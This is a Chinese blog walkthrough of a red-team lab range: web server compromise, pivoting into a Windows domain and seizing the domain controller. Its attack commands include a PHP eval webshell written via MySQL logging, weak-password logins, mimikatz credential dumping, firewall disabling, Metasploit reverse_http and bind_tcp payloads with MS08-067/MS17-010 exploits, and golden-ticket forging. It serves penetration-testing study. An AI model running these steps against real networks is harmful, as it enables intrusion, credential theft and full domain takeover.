ATT&CK红队评估实验靶场

靶场环境

首先该环境的网络拓扑环境与配置信息如下如下

1643179773176

其中web服务器中我们需要添加一块网卡,一块网卡与外网连通,一块网卡与内网连通。

1643179449552

1643179466927

机器之间连通情况

攻击机可以访问web服务器,web服务器可以访问域成员和域控,域成员和域控之间可以互相访问。

开始实验

端口扫描

首先我们获取web服务器的端口信息,对齐进行扫描

nmap -sS -p 0-1000 192.168.252.202

1643180696078

最终发现80端口打开,我们访问其80端口。

1643180748472

从我们访问之后可以得到一些基本的信息,其搭建网站采用的是phpstudy`,网站采用的是php语言,以及其网站的绝对路径c:/phpstudy/www`等信息。

网站目录爆破

经过对网站目录的爆破,我们找到了其phpmyadmin的路径

1643181182316

经过一些基本的弱口令测试我们成功的使用root:root登录。

1643181269210

思路一

测试是否可以通过sql写入shell,首先进行如下测试

show global variables like "%secure%"

1643181674256

这里的secure_file_priv的值为null无法写入shell。

接着测试全局日志看是否可以写入shell。

show global variables like "%general_%"

1643182035564

这里配置有日志存放路径,接着我们将general_log日志配置为ON,接着修改日志文件路径为C:/phpStudy/WWW/log.php

set global general_log = ON;
set global general_log_file = "C:/phpStudy/WWW/log.php"

1643182304821

1643182329819

1643182860901

写入一句话马,此条记录会写入log.php文件中

select "<?php @eval($_POST['admin']);?>"

1643182999019

接着我们连接log.php文件

http://192.168.252.202/log.php

1643183214004

成功列出文件目录

1643183521534

思路二

在数据库中,我们发现存在一个名为newyxcms的数据库,通过对这个库中内容的查看,判断是存放网站数据的库,经过百度搜索newyxcms得知是yxcms,最终我们测试出网站首页http://192.168.252.202/yxcms

1643183849318

接着,我们再针对这个地址下进行网站目录暴破

1643184720767

尝试访问robots.txtpublic路径,在public中我们发先了其网站路径信息,其中我们判断admin可能是后台登录界面

1643184847930

但是直接访问http://192.168.252.202/yxcms/admin结果是404,我们对网站进行测试,找到其登录界面

1643185139356

在其网址中,我们发现了member是我们之前发现的目录中的其中一个,我们尝试将其修改为admin,最终进入了后台登录界面(或者在我们知道是yxcms时,直接进行百度其后台目录或者相关漏洞)

1643185227825

这里登录我们尝试基本的弱口令admin:123456登录进入后台,进入后台之后,我们对其功能进行测试,最终找到前台模板可以添加文件,我们尝试写入一个shell文件

1643186611534

显示成功写入文件,但是我们不知道文件所在位置,我们直接百度搜索yxcms的目录结构,最终找到模板文件的位置

1643186876561

这里我们发现default我们在之前目录遍历中见到过,所以直接在那里查找我们写入的文件,我们尝试访问http://192.168.252.202/yxcms/protected/apps/default/view/default/发现了我们写入的shell

1643187776404

我们尝试连接一句话,成功。

1643187852811

权限提升

查看当前用户,可以值是普通普通用户权限

1643189136751

查看是域情况,得知存在域god,DNS服务器地址为192.168.52.138

1643189544008

1643189526478

接着我们查看目标机器中端口开放情况,可知3389端口未开放

1643189724655

为了方便提权,我们将shell反弹到CS中进行操作

1643189803935

1643189910177

查看目标主机的补丁信息

1643188648122

尝试ms14-058进行提权,反弹会system权限shell

1643191466522

接着查看域内用户

net user /domain    

1643192425315

查看域成员计算机列表,本机计算机名字为 STU1,另外还有两个域用户分别是 DEV1、ROOT-TVI862UBEH

net group "domain computers" /domain

1643203342185

查看域内管理员,域控用户为OWA

net group "domain admins" /domain

1643202463527

使用lodan扫描内网

lodan 192.168.52.0/24 OnlinePC

1643207887924

使用dump查看密码

1643208586623

使用mimikatz抓取密码

1643208981660

得到administrator用户密码为123456-a,接着开启3389然后关闭防火墙。

#命令行中开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
或
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

#命令行关闭防火墙
netsh firewall set opmode disable               # winsows server 2003 之前
netsh advfirewall set allprofiles state off     # winsows server 2003 之后

1643209424059

接着我们远程登录目标主机,在目标主机中我们发现其存在nmap,我们直接进行内网信息收集

nmap --script=vuln 192.168.52.0/24

发现域成员主机存在MS08-067和MS17-010漏洞:

1643266385630

其中域控主机存在ms17-010

1643266732287

横向移动

MSF和CS联动

在msf中新建监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.252.133
set lport 8989
exploit

1643267289862

在CS中设置监听器

1643267191540

接着在CS中新增会话,监听器选择我们新建的msf

1643268388667

msf收到CS传过来的shell

1643268104410

内网流量转发(MSF+Proxychains)

run get_local_subnets命令查看已拿下的目标主机的内网IP段

run get_local_subnets

1643268629315

添加一条通向目标服务器内网的路由

run autoroute -s 192.168.52.0/24

**

这里我们可以再次对目标主机进行端口扫描(之前获取到存在ms17-010是因为目标主机存在nmap)

1643270739386

1643271314918

我们修改/etc/proxychains.conf,最后一行添加socks4代理服务器

1643273261889

接着使用msf的socks4代理模块

1643272657540

使用proxychains代理进行nmap扫描(多种方式获取内网端口信息)

1643273211134

发现存在MS08-067漏洞

1643273819155

MS08-067搭配bind tcp

由于没有定义双向路由,目标系统无法直接连接到攻击机,所以我们需要将Bind_tcp设置为payload类型,在exploit操作成功之后,就要对连接到目标系统的端口进行监,执行如下命令

use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set payload windows/meterpreter/bind_tcp
run

1643273577196

获取141到主机的shell

1643273621267

MS17-010获取域控服务器

这里我们使用ms17-010获取域控主机的权限,执行如下命令

exploit/windows/smb/ms17_010_eternalblue    #失败

1643274575327

接着尝试使用ms17_010_psexec模块

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
run

1643274762862

最终获取回话还是失败,接着我们尝试使用ms17-010-command模块可以成功执行命令。

1643275030409

接着将其防火墙关闭

1643359380532

接着我们远程登录192.168.52.143主机,经过dir \\192.168.52.138\C$测试,发现已经连接

1643360494300

既然已经连接,我们在将域控的shell反弹到外网CS上,首先我们右键web服务器主机,中转->listener

1643361444870

接着生成一个后门,注意需要是stageless

1643361496330

先将后门文件上传到web主机上,然后将文件通过共享文件传到138主机

#复制远程文件到本地主机
copy \\192.168.52.138\c$\2.txt D:\test
#上传文件到远程主机
copy c:\1.txt \\192.168.52.138\c$

1643361161094

接着在kali中使用命令执行后门程序

1643361654376

CS中已经拿到内网主机的shell

1643361298487

构造黄金票据

拿到域控主机后我们来构造黄金票据,首先拿到krbtgt用户的NTLM

1643363709829

接着我们用mimikatz获得一个合法的SID

1643363923707

接着构造黄金票据,将刚才获取的信息填上

1643364095441

创建成功

1643364405940

使用mimikatz kerberos::list命令查看当前系统的票据:

1643364577407

加载票据访问,选择监听器执行,主机上线

1643376594353

1643376608463

最后修改:2022 年 02 月 21 日
如果觉得我的文章对你有用,请随意赞赏